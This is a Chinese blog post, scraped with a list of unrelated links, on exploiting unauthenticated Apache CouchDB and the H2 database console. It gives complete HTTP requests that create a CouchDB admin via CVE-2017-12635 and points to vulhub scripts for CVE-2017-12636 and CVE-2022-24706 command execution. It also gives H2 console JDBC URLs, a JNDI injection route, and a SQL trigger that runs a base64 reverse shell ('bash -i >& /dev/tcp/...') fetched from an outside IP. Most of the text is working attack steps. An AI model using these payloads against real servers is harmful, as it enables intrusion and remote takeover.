当前位置: 首页 > news >正文

CouchdbH2database未授权

Couchdb未授权

默认端口:5984

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

垂直权限绕过(CVE-2017-12635)

影响版本:<1.7.0 && <2.1.1

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108{"type": "user","name": "vulhub","roles": ["_admin"],"password": "vulhub"
}

添加用户数据包,用户名:vulhub 密码:vulhub

若返回403错误{“error”:“forbidden”,“reason”:“Only _admin may set roles”}

那么数据包内添加一个"roles":[]即可绕过

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108{"type": "user","name": "vulhub","roles": ["_admin"],"roles": [],"password": "vulhub"
}

在这里插入图片描述
登陆即可

命令执行(cve-2017-12636)

该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

在这里插入图片描述

只需要更改target的url和反弹shell命令

成功接收到shell
在这里插入图片描述

分布式协议代码执行 (CVE-2022-24706)

  • 5984: Apache CouchDB Web管理接口
  • 4369: Erlang端口映射服务(epmd)
  • 9100: 集群节点通信和运行时自省服务(代码执行实际发生在这个端口中)

其中,Web管理接口和epmd服务端口是固定的,而集群通信接口在Vulhub中是9100。实际环境下,这个端口通常是随机的,我们可以通过epmd服务来获取这个端口的数值。

exp下载:vulhub/couchdb/CVE-2022-24706/poc.py at master · vulhub/vulhub

python poc.py target-ip 4369

H2database未授权

默认端口:20051

Java SQL数据库H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的idbc:h2:mem JDBC URL执行任意代码。

在这里插入图片描述

看见这个登录界面就可以尝试未授权利用

JNDI-Injection-Exploit下载:https://github.com/welk1n/JNDI-Injection-Exploit

方法一:

Driver Class:填入 javax.naming.InitialContext

在vps上启动exp

在这里插入图片描述

将粉红的rmi开头的填入界面
在这里插入图片描述

点击Connect后可以看见服务器有反应
在这里插入图片描述

那么就是成功创建文件了

方法二:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

未授权进入
在这里插入图片描述

在这里插入图片描述

方法三:

创建数据库文件 h2database.sql并放在vps上面

CREATE TABLE test (id INT NOT NULL);CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

http共享sql文件
在这里插入图片描述

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM ‘http://搭建的IP:端口/h2database.sql’;\

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM ‘http://117.72.120.22/h2database.sql’;\

输入到JDBC URL

点击Connect


http://www.mrgr.cn/news/69851.html

相关文章:

  • 脑机接口、嵌入式 AI 、工业级 MR、空间视频和下一代 XR 浏览器丨RTE2024 空间计算和新硬件专场回顾
  • spring框架基础
  • Go语言中的`os.WriteFile`:简单高效的文件写入方法
  • 通过MT4调用Windows API进行文件读写操作
  • YOLOv7-0.1部分代码阅读笔记-datasets.py
  • Kafka面试题解答(一)
  • arkUI:相对布局(RelativeContaine)
  • 环形链表问题(图 + 证明 + 题)
  • Kruskal和Prim
  • 【前端打包必看】webpack入口与出口配置全解析(8)
  • c++常用的新特性-->day04
  • 布耗!对面是炸鱼的!!快让我的18岁舍友直接帮我拿下对局——如何用HarmonyOS鸿蒙操作系统实现自由流转
  • 软考设计师2024下回忆
  • 【C++】新手入门指南
  • MATLAB和R及Python伪时间分析
  • OJ算法练习(双指针篇)
  • 网络入门基础
  • 餐饮小程序的生意模式渠道发展
  • CMS垃圾收集器和G1垃圾收集器详解
  • 24/11/10 算法笔记 强化学习A3C
  • 零基础友好:柑橘果实成熟度分割
  • 农业科技创新引领新时代,农业强国梦想触手可及!
  • 探索 Linux 系统:开源世界的璀璨明珠
  • Linux mint系统推荐软件
  • 大数据技术在智慧医疗中的应用
  • 品讯HRO系统(源码+文档+部署+讲解)